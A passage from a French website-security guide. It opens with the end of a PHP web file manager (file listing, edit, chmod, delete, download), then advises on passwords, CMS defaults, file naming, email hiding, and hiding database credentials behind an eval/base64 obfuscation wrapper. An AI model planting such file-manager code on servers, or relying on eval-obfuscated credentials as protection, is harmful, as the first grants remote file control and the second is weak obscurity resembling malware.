<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'<tr class="first"><td></td><td></td><td></td><td></td></tr>'</span>;
<span style="color: #008000; font-weight: bold">foreach</span> (<span style="color: #19177C">$scandir</span> <span style="color: #008000; font-weight: bold">as</span> <span style="color: #19177C">$file</span>) {
<span style="color: #008000; font-weight: bold">if</span> (<span style="color: #666666">!</span><span style="color: #008000">is_file</span>(<span style="color: #BA2121">"</span><span style="color: #BB6688; font-weight: bold">$path</span><span style="color: #BA2121">/</span><span style="color: #BB6688; font-weight: bold">$file</span><span style="color: #BA2121">"</span>)) <span style="color: #008000; font-weight: bold">continue</span>;
<span style="color: #19177C">$size</span> <span style="color: #666666">=</span> <span style="color: #008000">filesize</span>(<span style="color: #BA2121">"</span><span style="color: #BB6688; font-weight: bold">$path</span><span style="color: #BA2121">/</span><span style="color: #BB6688; font-weight: bold">$file</span><span style="color: #BA2121">"</span>) <span style="color: #666666">/</span> <span style="color: #666666">1024</span>;
<span style="color: #19177C">$size</span> <span style="color: #666666">=</span> round(<span style="color: #19177C">$size</span>, <span style="color: #666666">2</span>);
<span style="color: #008000; font-weight: bold">if</span> (<span style="color: #19177C">$size</span> <span style="color: #666666">>=</span> <span style="color: #666666">1024</span>) {
<span style="color: #19177C">$size</span> <span style="color: #666666">=</span> round(<span style="color: #19177C">$size</span> <span style="color: #666666">/</span> <span style="color: #666666">1024</span>, <span style="color: #666666">2</span>) <span style="color: #666666">.</span> <span style="color: #BA2121">' Mo'</span>;
}
<span style="color: #008000; font-weight: bold">else</span> {
<span style="color: #19177C">$size</span> <span style="color: #666666">=</span> <span style="color: #19177C">$size</span> <span style="color: #666666">.</span> <span style="color: #BA2121">' Ko'</span>;
}
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">"<tr></span>
<span style="color: #BA2121"><td><a href=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">?filesrc=</span><span style="color: #BB6688; font-weight: bold">$path</span><span style="color: #BA2121">/</span><span style="color: #BB6688; font-weight: bold">$file</span><span style="color: #BA2121">&path=</span><span style="color: #BB6688; font-weight: bold">$path</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">></span><span style="color: #BB6688; font-weight: bold">$file</span><span style="color: #BA2121"></a></td></span>
<span style="color: #BA2121"><td class=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">petit centre</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">>"</span> <span style="color: #666666">.</span> <span style="color: #19177C">$size</span> <span style="color: #666666">.</span> <span style="color: #BA2121">"</td></span>
<span style="color: #BA2121"><td class=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">petit centre</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">>"</span>;
<span style="color: #008000; font-weight: bold">if</span> (<span style="color: #008000">is_writable</span>(<span style="color: #BA2121">"</span><span style="color: #BB6688; font-weight: bold">$path</span><span style="color: #BA2121">/</span><span style="color: #BB6688; font-weight: bold">$file</span><span style="color: #BA2121">"</span>)) <span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'<font color="green">'</span>;
<span style="color: #008000; font-weight: bold">elseif</span> (<span style="color: #666666">!</span><span style="color: #008000">is_readable</span>(<span style="color: #BA2121">"</span><span style="color: #BB6688; font-weight: bold">$path</span><span style="color: #BA2121">/</span><span style="color: #BB6688; font-weight: bold">$file</span><span style="color: #BA2121">"</span>)) <span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'<font color="crimson">'</span>;
<span style="color: #008000; font-weight: bold">echo</span> perms(<span style="color: #BA2121">"</span><span style="color: #BB6688; font-weight: bold">$path</span><span style="color: #BA2121">/</span><span style="color: #BB6688; font-weight: bold">$file</span><span style="color: #BA2121">"</span>);
<span style="color: #008000; font-weight: bold">if</span> (<span style="color: #008000">is_writable</span>(<span style="color: #BA2121">"</span><span style="color: #BB6688; font-weight: bold">$path</span><span style="color: #BA2121">/</span><span style="color: #BB6688; font-weight: bold">$file</span><span style="color: #BA2121">"</span>) <span style="color: #666666">||</span> <span style="color: #666666">!</span><span style="color: #008000">is_readable</span>(<span style="color: #BA2121">"</span><span style="color: #BB6688; font-weight: bold">$path</span><span style="color: #BA2121">/</span><span style="color: #BB6688; font-weight: bold">$file</span><span style="color: #BA2121">"</span>)) <span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'</font>'</span>;
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">"</td></span>
<span style="color: #BA2121"><td class=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">centre</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">><form method=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">POST</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121"> action=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">?option&path=</span><span style="color: #BB6688; font-weight: bold">$path</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">></span>
<span style="color: #BA2121"><select name=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">opt</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">></span>
<span style="color: #BA2121"><option value=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">Que faire?</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">>Que faire?</option></span>
<span style="color: #BA2121"><option value=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">rename</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">>Renommer</option></span>
<span style="color: #BA2121"><option value=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">edit</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">>Modifier</option></span>
<span style="color: #BA2121"><option value=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">move</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">>Déplacer</option></span>
<span style="color: #BA2121"><option value=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">chmod</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">>Chmod</option></span>
<span style="color: #BA2121"><option value=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">zip</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">>Compresser</option></span>
<span style="color: #BA2121"><option value=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">unzip</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">>Décompresser</option></span>
<span style="color: #BA2121"><option value=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">delete</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">>Supprimer</option></span>
<span style="color: #BA2121"></select></span>
<span style="color: #BA2121"><input type=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">hidden</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121"> name=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">type</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121"> value=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">file</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">></span>
<span style="color: #BA2121"><input type=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">hidden</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121"> name=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">name</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121"> value=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BB6688; font-weight: bold">$file</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">></span>
<span style="color: #BA2121"><input type=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">hidden</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121"> name=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">path</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121"> value=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BB6688; font-weight: bold">$path</span><span style="color: #BA2121">/</span><span style="color: #BB6688; font-weight: bold">$file</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">></span>
<span style="color: #BA2121"><input type=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">submit</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121"> value=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">></span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">></span>
<span style="color: #BA2121"></form></td></span>
<span style="color: #BA2121"></tr>"</span>;
}
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'</table></span>
<span style="color: #BA2121"></div>'</span>;
}
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'</span>
<span style="color: #BA2121"></body></span>
<span style="color: #BA2121"></html>'</span>;
<span style="color: #008000; font-weight: bold">function</span> <span style="color: #0000FF">perms</span>(<span style="color: #19177C">$file</span>) {
<span style="color: #19177C">$perms</span> <span style="color: #666666">=</span> <span style="color: #008000">fileperms</span>(<span style="color: #19177C">$file</span>);
<span style="color: #008000; font-weight: bold">if</span> ((<span style="color: #19177C">$perms</span> <span style="color: #666666">&</span> <span style="color: #666666">0xC000</span>) <span style="color: #666666">==</span> <span style="color: #666666">0xC000</span>) {
<span style="color: #408080; font-style: italic">// Socket</span>
<span style="color: #19177C">$info</span> <span style="color: #666666">=</span> <span style="color: #BA2121">'s'</span>;
}
<span style="color: #008000; font-weight: bold">elseif</span> ((<span style="color: #19177C">$perms</span> <span style="color: #666666">&</span> <span style="color: #666666">0xA000</span>) <span style="color: #666666">==</span> <span style="color: #666666">0xA000</span>) {
<span style="color: #408080; font-style: italic">// Symbolic Link</span>
<span style="color: #19177C">$info</span> <span style="color: #666666">=</span> <span style="color: #BA2121">'l'</span>;
}
<span style="color: #008000; font-weight: bold">elseif</span> ((<span style="color: #19177C">$perms</span> <span style="color: #666666">&</span> <span style="color: #666666">0x8000</span>) <span style="color: #666666">==</span> <span style="color: #666666">0x8000</span>) {
<span style="color: #408080; font-style: italic">// Regular</span>
<span style="color: #19177C">$info</span> <span style="color: #666666">=</span> <span style="color: #BA2121">'-'</span>;
}
<span style="color: #008000; font-weight: bold">elseif</span> ((<span style="color: #19177C">$perms</span> <span style="color: #666666">&</span> <span style="color: #666666">0x6000</span>) <span style="color: #666666">==</span> <span style="color: #666666">0x6000</span>) {
<span style="color: #408080; font-style: italic">// Block special</span>
<span style="color: #19177C">$info</span> <span style="color: #666666">=</span> <span style="color: #BA2121">'b'</span>;
}
<span style="color: #008000; font-weight: bold">elseif</span> ((<span style="color: #19177C">$perms</span> <span style="color: #666666">&</span> <span style="color: #666666">0x4000</span>) <span style="color: #666666">==</span> <span style="color: #666666">0x4000</span>) {
<span style="color: #408080; font-style: italic">// Directory</span>
<span style="color: #19177C">$info</span> <span style="color: #666666">=</span> <span style="color: #BA2121">'d'</span>;
}
<span style="color: #008000; font-weight: bold">elseif</span> ((<span style="color: #19177C">$perms</span> <span style="color: #666666">&</span> <span style="color: #666666">0x2000</span>) <span style="color: #666666">==</span> <span style="color: #666666">0x2000</span>) {
<span style="color: #408080; font-style: italic">// Character special</span>
<span style="color: #19177C">$info</span> <span style="color: #666666">=</span> <span style="color: #BA2121">'c'</span>;
}
<span style="color: #008000; font-weight: bold">elseif</span> ((<span style="color: #19177C">$perms</span> <span style="color: #666666">&</span> <span style="color: #666666">0x1000</span>) <span style="color: #666666">==</span> <span style="color: #666666">0x1000</span>) {
<span style="color: #408080; font-style: italic">// FIFO pipe</span>
<span style="color: #19177C">$info</span> <span style="color: #666666">=</span> <span style="color: #BA2121">'p'</span>;
}
<span style="color: #008000; font-weight: bold">else</span> {
<span style="color: #408080; font-style: italic">// Unknown</span>
<span style="color: #19177C">$info</span> <span style="color: #666666">=</span> <span style="color: #BA2121">'u'</span>;
}
<span style="color: #408080; font-style: italic">// Owner</span>
<span style="color: #19177C">$info</span> <span style="color: #666666">.=</span> ((<span style="color: #19177C">$perms</span> <span style="color: #666666">&</span> <span style="color: #666666">0x0100</span>) <span style="color: #666666">?</span> <span style="color: #BA2121">'r'</span> <span style="color: #666666">:</span> <span style="color: #BA2121">'-'</span>);
<span style="color: #19177C">$info</span> <span style="color: #666666">.=</span> ((<span style="color: #19177C">$perms</span> <span style="color: #666666">&</span> <span style="color: #666666">0x0080</span>) <span style="color: #666666">?</span> <span style="color: #BA2121">'w'</span> <span style="color: #666666">:</span> <span style="color: #BA2121">'-'</span>);
<span style="color: #19177C">$info</span> <span style="color: #666666">.=</span> ((<span style="color: #19177C">$perms</span> <span style="color: #666666">&</span> <span style="color: #666666">0x0040</span>) <span style="color: #666666">?</span> ((<span style="color: #19177C">$perms</span> <span style="color: #666666">&</span> <span style="color: #666666">0x0800</span>) <span style="color: #666666">?</span> <span style="color: #BA2121">'s'</span> <span style="color: #666666">:</span> <span style="color: #BA2121">'x'</span>) <span style="color: #666666">:</span> ((<span style="color: #19177C">$perms</span> <span style="color: #666666">&</span> <span style="color: #666666">0x0800</span>) <span style="color: #666666">?</span> <span style="color: #BA2121">'S'</span> <span style="color: #666666">:</span> <span style="color: #BA2121">'-'</span>));
<span style="color: #408080; font-style: italic">// Group</span>
<span style="color: #19177C">$info</span> <span style="color: #666666">.=</span> ((<span style="color: #19177C">$perms</span> <span style="color: #666666">&</span> <span style="color: #666666">0x0020</span>) <span style="color: #666666">?</span> <span style="color: #BA2121">'r'</span> <span style="color: #666666">:</span> <span style="color: #BA2121">'-'</span>);
<span style="color: #19177C">$info</span> <span style="color: #666666">.=</span> ((<span style="color: #19177C">$perms</span> <span style="color: #666666">&</span> <span style="color: #666666">0x0010</span>) <span style="color: #666666">?</span> <span style="color: #BA2121">'w'</span> <span style="color: #666666">:</span> <span style="color: #BA2121">'-'</span>);
<span style="color: #19177C">$info</span> <span style="color: #666666">.=</span> ((<span style="color: #19177C">$perms</span> <span style="color: #666666">&</span> <span style="color: #666666">0x0008</span>) <span style="color: #666666">?</span> ((<span style="color: #19177C">$perms</span> <span style="color: #666666">&</span> <span style="color: #666666">0x0400</span>) <span style="color: #666666">?</span> <span style="color: #BA2121">'s'</span> <span style="color: #666666">:</span> <span style="color: #BA2121">'x'</span>) <span style="color: #666666">:</span> ((<span style="color: #19177C">$perms</span> <span style="color: #666666">&</span> <span style="color: #666666">0x0400</span>) <span style="color: #666666">?</span> <span style="color: #BA2121">'S'</span> <span style="color: #666666">:</span> <span style="color: #BA2121">'-'</span>));
<span style="color: #408080; font-style: italic">// World</span>
<span style="color: #19177C">$info</span> <span style="color: #666666">.=</span> ((<span style="color: #19177C">$perms</span> <span style="color: #666666">&</span> <span style="color: #666666">0x0004</span>) <span style="color: #666666">?</span> <span style="color: #BA2121">'r'</span> <span style="color: #666666">:</span> <span style="color: #BA2121">'-'</span>);
<span style="color: #19177C">$info</span> <span style="color: #666666">.=</span> ((<span style="color: #19177C">$perms</span> <span style="color: #666666">&</span> <span style="color: #666666">0x0002</span>) <span style="color: #666666">?</span> <span style="color: #BA2121">'w'</span> <span style="color: #666666">:</span> <span style="color: #BA2121">'-'</span>);
<span style="color: #19177C">$info</span> <span style="color: #666666">.=</span> ((<span style="color: #19177C">$perms</span> <span style="color: #666666">&</span> <span style="color: #666666">0x0001</span>) <span style="color: #666666">?</span> ((<span style="color: #19177C">$perms</span> <span style="color: #666666">&</span> <span style="color: #666666">0x0200</span>) <span style="color: #666666">?</span> <span style="color: #BA2121">'t'</span> <span style="color: #666666">:</span> <span style="color: #BA2121">'x'</span>) <span style="color: #666666">:</span> ((<span style="color: #19177C">$perms</span> <span style="color: #666666">&</span> <span style="color: #666666">0x0200</span>) <span style="color: #666666">?</span> <span style="color: #BA2121">'T'</span> <span style="color: #666666">:</span> <span style="color: #BA2121">'-'</span>));
<span style="color: #008000; font-weight: bold">return</span> <span style="color: #19177C">$info</span>;
}
<span style="color: #008000; font-weight: bold">function</span> <span style="color: #0000FF">telFichBin</span>(<span style="color: #19177C">$telfich</span>){
header(<span style="color: #BA2121">'Content-Description: File Transfer'</span>);
header(<span style="color: #BA2121">'Content-Type: application/octet-stream'</span>);
header(<span style="color: #BA2121">'Content-Disposition: attachment; filename="'</span><span style="color: #666666">.</span><span style="color: #008000">basename</span>(<span style="color: #19177C">$telfich</span>)<span style="color: #666666">.</span><span style="color: #BA2121">'"'</span>);
header(<span style="color: #BA2121">'Expires: 0'</span>);
header(<span style="color: #BA2121">'Cache-Control: must-revalidate'</span>);
header(<span style="color: #BA2121">'Pragma: public'</span>);
header(<span style="color: #BA2121">'Content-Length: '</span> <span style="color: #666666">.</span> <span style="color: #008000">filesize</span>(<span style="color: #19177C">$telfich</span>));
<span style="color: #008000">ob_clean</span>();
<span style="color: #008000">flush</span>();
<span style="color: #008000">readfile</span>(<span style="color: #19177C">$telfich</span>);
<span style="color: #008000; font-weight: bold">exit</span>;
}
<span style="color: #008000; font-weight: bold">function</span> <span style="color: #0000FF">cheminWeb</span>(<span style="color: #19177C">$fich</span>) {
<span style="color: #19177C">$document_racine</span> <span style="color: #666666">=</span> <span style="color: #008000">rtrim</span>(<span style="color: #008000">preg_replace</span>(<span style="color: #BA2121">"#([</span><span style="color: #BB6622; font-weight: bold">\\\\</span><span style="color: #BA2121">/]+)#"</span>, <span style="color: #BA2121">'/'</span>, <span style="color: #19177C">$_SERVER</span>[<span style="color: #BA2121">'DOCUMENT_ROOT'</span>]), <span style="color: #BA2121">'/'</span>);
<span style="color: #19177C">$fich</span> <span style="color: #666666">=</span> <span style="color: #008000">preg_replace</span>(<span style="color: #BA2121">"#([</span><span style="color: #BB6622; font-weight: bold">\\\\</span><span style="color: #BA2121">/]+)#"</span>, <span style="color: #BA2121">'/'</span>, <span style="color: #008000">realpath</span>(<span style="color: #19177C">$fich</span>));
<span style="color: #008000; font-weight: bold">return</span> <span style="color: #008000">preg_replace</span>(<span style="color: #BA2121">"#^(</span><span style="color: #BB6688; font-weight: bold">$document_racine</span><span style="color: #BA2121">)#"</span>, <span style="color: #BA2121">''</span>, <span style="color: #19177C">$fich</span>);
}
<span style="color: #BC7A00">?></span>
</pre></div>
<a id="motpasse"></a><hr><br>
<header>
<h2>Les mots de passe</h2>
</header>
<p>Protégez vos mots de passe.<br>
On peut essayer de pénétrer votre hébergement en devinant votre mot de passe FTP ou SQL. Si vous changez les mots de passe, respectez les règles suivantes :<br>
<strong>1-</strong> un mot de passe doit avoir au minimum 12 caractères, plus c'est mieux.<br>
<strong>2-</strong> il ne doit jamais être un mot qu'on trouve dans le dictionnaire d'aucune langue. Les logiciels pour cracker des mots de passe ont des dictionnaires de centaines de milliers de mots de toutes les langues et cherchent toutes les combinaisons. Cela prend entre quelques minutes à quelques petites heures pour cracker ces mots de passe très facilement.<br>
<strong>3-</strong> Un bon mot de passe contient des lettres majuscules et minuscules, des chiffres et des caractères non alphanumériques (comme les ponctuations).<br>
<strong>4-</strong> <strong>N'UTILISEZ JAMAIS LE MÊME MOT DE PASSE pour le FTP, base SQL, e-mail, interface d'administration du site web</strong>. Le pirate <strong>SAIT</strong> que s'il trouve votre mot de passe, il a de fortes chances que ce soit le même mot de passe ailleurs !!! Beaucoup d'hébergeurs proposent un mot de passe unique pour “simplifier” la gestion.</p>
<p>Il existe des logiciels qui créent des mots de passe uniques et aléatoires et gèrent cela pour vous (regardez <a href="https://bitwarden.com">Bitwarden</a>, <a href="https://www.keepassx.org">KeepassX</a> et <a href="https://keepass.info">Keepass</a>, <a href="https://1password.com/fr/">1Password</a>, <a href="https://www.dashlane.com/fr">Dashlane</a>, <a href="https://www.lastpass.com/fr">LastPass</a>…). C'est ce qu'il y a de mieux car vous n'avez rien à mémoriser. <br>
Vous pouvez créer cette liste vous-même dans un fichier que vous protègerez par un mot de passe et copier-coller les données pour chaque formulaire de connexion. Pour simplifier cette tâche, vous pouvez aussi choisir de faire confiance à votre navigateur web qui enregistrera vos mots de passe uniques, synchronisera vos données entre vos appareils et remplira pour vous le champ du formulaire à chaque connexion avec le bon mot de passe. Pour générer ces mots de passe uniques, voyez par exemple ces sites web :<br>
<a href="https://www.motdepasse.xyz">https://www.motdepasse.xyz</a><br>
<a href="https://fr.vpnmentor.com/tools/secure-password-generator/">https://fr.vpnmentor.com/tools/secure-password-generator/</a><br>
<a href="https://www.comparitech.com/privacy-security-tools/password-strength-test/">https://www.comparitech.com/privacy-security-tools/password-strength-test/</a></p>
<p> Ces sites web proposent des mots de passe phonétiques, créant des mots faciles à mémoriser :<br>
<a href="https://www.dashlane.com/fr/features/password-generator">https://www.dashlane.com/fr/features/password-generator</a> (Dashlane)<br>
<a href="https://www.lastpass.com/fr/password-generator">https://www.lastpass.com/fr/password-generator</a> (LastPass)<br>
<a href="https://tools.arantius.com/password">https://tools.arantius.com/password</a></p>
<p>Pour être sûr qu'un mot de passe mémorisable ou phonétique n'existe dans aucune langue, tapez-le en partie ou en entier dans un moteur de recherche. S'il ne retourne aucun résultat, alors votre mot de passe n'est pas un mot du dictionnaire.</p>
<a id="installsql"></a><hr><br>
<header>
<h2>Installation d'une base SQL</h2>
</header>
<p>Lorsque vous installez votre CMS, blog ou e-commerce pour la première fois, il vous propose des réglages et paramètres par défaut que nous acceptons à chaque fois. En cas de faille, le pirate peut utiliser ces réglages et paramètres par défaut pour pénétrer votre base SQL et la modifier.</p>
<p>Voici quelques conseils pour éviter que cette forme d'attaque de type injection SQL soit possible. Il y a plusieurs formes d'injections SQL. La règle 3 du .htaccess en arrête une autre forme. Sinon, la vraie protection contre les injections SQL est une bonne programmation.</p>
<p><strong>1-</strong> Quand vous installez votre CMS, blog ou e-commerce, il vous donne comme login “admin” et vous demande d'entrer un mot de passe. Dans la mesure du possible, changez “admin” pour autre chose, un pseudo par exemple. Un pirate sait que le login par défaut est “admin” et lancera ses scripts uniquement sur le mot de passe. Mais si le login “admin” n'existe pas, il n'a aucune chance de pénétrer le système.<br>
Il faut parfois faire cette modification dans phpMyadmin. Mais attention, il faut être sûr que cela ne cassera pas votre base. Posez la question sur le forum de l'éditeur de votre CMS, blog ou e-commerce pour savoir si c'est possible.</p>
<p><strong>2-</strong> Le premier utilisateur est donc l'administrateur et il porte toujours le numéro (ou ID) 1. Dans le cas où le login n'est pas “admin”, certains scripts peuvent essayer d'avoir le mot de passe de l'utilisateur numéro 1 qui est, dans 99,99% des cas, l'administrateur. Dans la mesure du possible, effacez l'utilisateur numéro 1 sur la liste et soyez l'administrateur portant le numéro 2 ou 15 ou 250.<br>
Il faut parfois faire cette modification dans phpMyadmin. Mais attention, il faut être sûr que cela ne cassera pas votre base. Posez la question sur le forum de l'éditeur de votre CMS, blog ou e-commerce pour savoir si c'est possible.</p>
<p><strong>3-</strong> Lors de l'installation, votre CMS, blog ou e-commerce vous demande de choisir un préfixe pour le nom des tables. On accepte toujours le préfixe par défaut comme wp_ pour Wordpress, g2_ pour Gallery2, dc_ pour DotClear, phpbb_ pour phpBB, etc. Le pirate peut chercher la table avec la liste des utilisateurs et leurs mots de passe. Si, comme tout le monde, vous n'avez pas changé le préfixe, il lui sera facile de trouver la table. Donc, changez le préfixe de vos tables SQL pour plus de sécurité. Vous pouvez le faire après installation. Il faut parfois faire cette modification dans phpMyadmin. Mais attention, il faut être sûr que cela ne cassera pas votre base. Posez la question sur le forum de l'éditeur de votre CMS, blog ou e-commerce pour savoir si c'est possible.<br>
Par exemple, avec Wordpress en cas de changement de préfixe après installation, il faut aussi changer 2 entrées dans la base de données en plus du fichier wp-config.php, voyez leurs forums pour savoir comment faire.</p>
<p><strong>Mon conseil: <span style="color:#008080;">TOUJOURS MODIFIER LES PARAMÈTRES PAR DÉFAUT !</span></strong></p>
<a id="nommage"></a><hr><br>
<header>
<h2>Nommage de fichiers</h2>
</header>
<p>Pour éviter que les robots des pirates ne vous trouvent grâce à Google, changez certaines habitudes et notamment le nom et l'URL de certains fichiers.</p>
<p>1- N'appelez pas la page de votre formulaire de contact : mail.php ou contact.html. Appelez là autrement comme “courrier”, “missive”, etc. Les robots spammeurs auront plus de mal à trouver un formulaire de contact à pirater pour envoyer des spams grâce à une faille de votre script d'envoi de mail.<br>
Faites la même chose avec d'autres fichiers : pas de login.php, admin.php, download.php (on va chercher la faille pour télécharger un fichier hors de son répertoire), etc. En règle général, évitez ces mots anglais trop répandus.</p>
<p>2- Les spammeurs ne sont pas idiots. Changez aussi certains noms du formulaire. Dans les balises html INPUT, changez l'attribut NAME qui contient des mots comme “e-mail”, “mail”, “name” ou “subject” par leur équivalent en français (courriel, nom, sujet). Faites ce changement dans le formulaire HTML et dans votre script php ou cgi.</p>
<p>3- Évitez de donner le nom de votre CMS, blog ou e-commerce directement dans l'URL comme : www.domaine.tld/admin/ ou www.domaine.tld/login/ ou www.domaine.tld/blog/ ou www.domaine.tld/forum/ ou www.domaine.tld/shop/. Les spammeurs et piratent cherchent ces URL à cibler pour une attaque. Soyez plus original pour votre sécurité. Le mieux est d'éviter le mot anglais et de préférer son équivalent en français.</p>
<a id="cryptconfig"></a><hr><br>
<header>
<h2>Crypter son fichier config.inc.php</h2>
</header>
<p>Malgré toutes les précautions, le pirate a pénétré votre site et cherche maintenant à connaitre les login et mot de passe de votre base MySQL pour la pirater, la vider et en prendre le contrôle. On peut lui compliquer la tâche en cryptant ces données sensibles. Le serveur web pourra lire ces informations facilement, mais elles ne seront pas lisibles directement par un œil humain. <br>
Pour un expert en PHP, cette protection ne dure que 2 minutes, cela lui fait du travail en plus, mais nous ne sommes pas là pour lui faciliter la tâche ?</p>
<p>Visitez ce site web et cryptez vos données. <br>
<a href="http://www.phpencode.org">www.phpencode.org</a> ou <a href="http://www.mobilefish.com/services/php_obfuscator/php_obfuscator.php">www.mobilefish.com/services/php_obfuscator/php_obfuscator.php</a> ou cherchez un “PHP Obfuscator”.</p>
<p>Par exemple, mon fichier config.php contient ceci :</p>
<span class="smallfont">Code PHP :</span>
<!-- HTML generated using hilite.me --><div class="smallfont code" style="overflow:auto;width:auto;padding:.2em .6em;"><pre style="margin: 0; line-height: 125%"><span style="color: #BC7A00"><?php</span>
<span style="color: #408080; font-style: italic">/* MySQL settings */</span>
<span style="color: #19177C">$db_server</span> <span style="color: #666666">=</span> <span style="color: #BA2121">"serveursql"</span>;
<span style="color: #19177C">$db_name</span> <span style="color: #666666">=</span> <span style="color: #BA2121">"nombasesql"</span>;
<span style="color: #19177C">$db_username</span> <span style="color: #666666">=</span> <span style="color: #BA2121">"loginsql"</span>;
<span style="color: #19177C">$db_password</span> <span style="color: #666666">=</span> <span style="color: #BA2121">"motdepasse"</span>;
<span style="color: #BC7A00">?></span>
</pre></div>
<p>Je copie la partie à encoder entre les balises <?php et ?><br>
Je choisis l'encodage “PHP Extrastrength”. Ne cherchez pas un encodage plus élevé, j'ai parfois constaté des erreurs sur les serveurs web.<br>
Je copie la longue ligne qui commence par eval(xxxx entre les balises <? et ?> et le colle dans le fichier config.inc.php, ce qui donne :</p>
<span class="smallfont">Code PHP :</span>
<!-- HTML generated using hilite.me --><div class="smallfont code" style="overflow:auto;width:auto;padding:.2em .6em;"><pre style="margin: 0; line-height: 125%"><span style="color: #BC7A00"><?php</span>
<span style="color: #008000; font-weight: bold">eval</span>(<span style="color: #008000">gzuncompress</span>(<span style="color: #008000">gzinflate</span>(<span style="color: #008000">base64_decode</span>(<span style="color: #BA2121">'AW4Akf942k3LTQqAIBQE4H3QHQZp5cYDRDeoRXSAMHyIkFo+K7p9f5t2w3wzSkmJ7hz6Fkw5u2AZUipVFpWZRqa0UwLQQLx5S7zOov40aE/ApyH6STP9dLsP7+LWOVoXfrZo5iMm85iP2dBTkKgv8oMsVg=='</span>))));
<span style="color: #BC7A00">?></span>
</pre></div>
<p>Ainsi, vous pouvez occulter toutes les informations sensibles.</p>
<p>Et attribuez par FTP les droits 404 ou 444 à votre fichier config.inc.php (ou équivalent) si c'est possible.</p>
<a id="cryptmail"></a><hr><br>
<header>
<h2>Cryptez votre adresse e-mail</h2>
</header>
<p>Si vous n'avez pas d'autre choix que d'afficher une adresse e-mail sur votre site web, vous avez 2 solutions:</p>
<p><strong>1-</strong> Créez un fichier image (svg, png, jpeg) avec votre adresse écrite dessus. Ce n'est pas du texte, les robots spammeurs ne le verront pas.</p>
<p><strong>2-</strong> Cryptez votre adresse e-mail avec du javascript. J'utilise cette méthode depuis des années et jamais ces adresses n'ont été spammées. Allez sur ce site web <a href="http://www.jottings.com/obfuscator/">www.jottings.com/obfuscator/</a> ou <a href="https://jumk.de/nospam/stopspam.html">jumk.de/nospam/</a> pour faire crypter votre adresse.<br>
Pour aller encore plus loin, au lieu d'intégrer ce code à votre page html, on va l'appeler depuis un fichier javascript. L'avantage est que si l'adresse est présente sur plusieurs pages, vous n'avez à faire la modification qu'une fois.<br>
Créez un dossier qu'on appelle “js” et on va y mettre un fichier qu'on va appeler “adresse.js”. Copiez dans ce fichier la ligne de code javascript de votre adresse e-mail cryptée qui commence par “var …”. Par exemple:</p>
<span class="smallfont">Code :</span>
